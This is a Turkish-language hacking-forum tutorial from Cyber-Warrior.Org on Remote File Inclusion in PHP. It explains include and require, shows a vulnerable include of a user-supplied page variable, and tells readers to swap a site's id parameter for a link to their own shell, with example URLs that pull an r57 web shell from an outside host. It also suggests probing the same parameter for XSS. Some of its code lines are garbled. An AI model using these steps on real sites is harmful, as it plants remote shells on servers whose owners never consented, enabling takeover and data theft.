Root > Documents > Exploits / Vulnerabilities > Remote File Inclusion
Cyber-Warrior.Org \ Doküman \ Exploits / Vulnerabilities > Remote File Inclusion
Madde
  Yazar : Jocker
  Date : 19.09.2009 10:26:02
 
# Remote File Inclusion
 

Remote File Inclusion

Remote File Inclusion(RFI) Uzaktan Dosya dahil olmasi anlamina gelmektedir.

Remote File Inclusion bir saldiri teknigi, bilgisayardan Internet web sitelerine saldiri için kullanilir.

Uzaktan dosya katilim(RFI) saldirilari kötü niyetli kisilerin kurban olarak gördügü web sitesinde kendi PHP kod çalistirmasina izin verir.Böylece uzaktan dosya dahil olur.

Remote file inclusion 4 tane kodun sayesiyle bulunur.

Bunlar sunlardir,

include

require

include_once

require_once

Bir de veriable isimli bilgi sepetlerimiz var,

$hayber = ’Exploit’;

Herhangi bir script indirelim ve de o scriptin fotograf.php adli dosyasina not defteri ile bakalim.

Örnek veriyorum;

define(’IN_Scripts’, true);

$phpbb_root_path = ’./’;

$album_root_path = $phpbb_root_path . ’fotograf_mod/’;

include($phpbb_root_path . ’abcd.inc’);

include($phpbb_root_path . ’hayber.’.$phpfX;

Simdi burda bu include kodun oldugunu fark ettik.Size require de olur demistim.Bunu da buraya yazabilirim,degisen hiçbir sey olmayacaktir.

Yani,

require($phpbb_root_path . ’abcd.inc’);

include($phpbb_root_path . ’hayber.’.$phpfX;

Require ve include ne ise yarar?

include bir dosyayi baska bir dosyanin içine dahil etmektir.

Örnek verirsem,

Diyelim ki burda scripti yapan kisi 100 sayfa kod yazmis, bunu fotograf.php için yazmis.Atiyorum,index.php de bu kodlara ihtiyaci var,tek satir kodla include(album.php) de yazdigi zaman direk karsisina gelir bunlar.

Include iste bu ise yaramaktadir.

Bu 2 kod ( include ve require) arasindaki fark,

Require yani include dahil edilmesi gereken dosya mevcut degil ise hata verir ve geri kalan kodlarin hiçbirini çalistirmaz.include de ise tek bir satir hata verir bu dosya bulunmuyordur.Kalan su kodlarin devamini çalistirmaya devam eder.Aralarindaki tek fark budur.

Require_once ve include_once  tek sefer yani tüm script içinde one script demektir.Tek seferde hareket etme anlaminda.Bu yüzden aralarinda pek fark yoktur.

Sizin bilmeniz gereken bu 4 tane kodu yani bunlari, 

include

require

include_once

require_once

tek tek satirlarin içinde arayacaksiniz.

Bir de sizlere veriable bilgi sepeti var demistim, 

define(’IN_Scripts’, true);

$phpbb_root_path = ’./’;

$album_root_path = $phpbb_root_path . ’fotograf_mod/’;

include($phpbb_root_path . ’abcd.inc’);

include($phpbb_root_path . ’hayber.’.$phpfX;

Bazi scriptler veriable koyar,mesela üstteki örnekte görebiliyoruz.

include($phpbb_root_path

Burda bunu yazmis ve de üstüne buna tanimlamis ve dizini göstermis(phpbb_root_path)

$phpbb_root_path = ’hayber’;

Bizim burda asil isimiz sudur,tanimlanmamis olan scripti kendi kodumuzla kendi istedigimiz kodlarla doldururuz.

Üstte gördügünüz gibi yani shell linkimizi buna bir sekilde tanimlamis oluyoruz. 

/includes/fotograf.php?phpbb_root_path=[Shell?]

Ben buna burda tanimladigimda örnekteki kodlari site üzerinde çalistiyorum.

Burda yapmamiz gereken scriptte tek tek dolasip,bu yukarda göstermis oldugum 4 kodu arayacaksiniz ve parantez içinde böyle;

$phpbb_root_path = ’hayber’;    bir sey arayacaksiniz.

Zayif bir php kodu örnek,

include($page . ’.php’);

bu php kod asagidaki örnek gibi  linklerde kullanilir,

http://www.a.com/index.php?page=archive

buradaki $page degiskeni özel tanimli degil ise,shelli hedef sunucu üzerinde çalistirabilirsiniz yani,

 www.a.com/index.php?page=SheLL?]

 RFI denemek istiyorsak,

 Sitede id degeri vardir id=13 dür,13 ü silelim, shellimizin linkini oraya koyalim.Sonuna da ? (Soru isareti) koymayi da unutmayalim.Böylece RFI deneyebilirsiniz.

 Örnek;

 www.abcd.com/index.php?hayber=www.werty.com/r57.txt?

 RFI aramak istediginiz sitede XSS de arayabilirsiniz.

id= nin ucuna xss kodu ekleyerek.

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©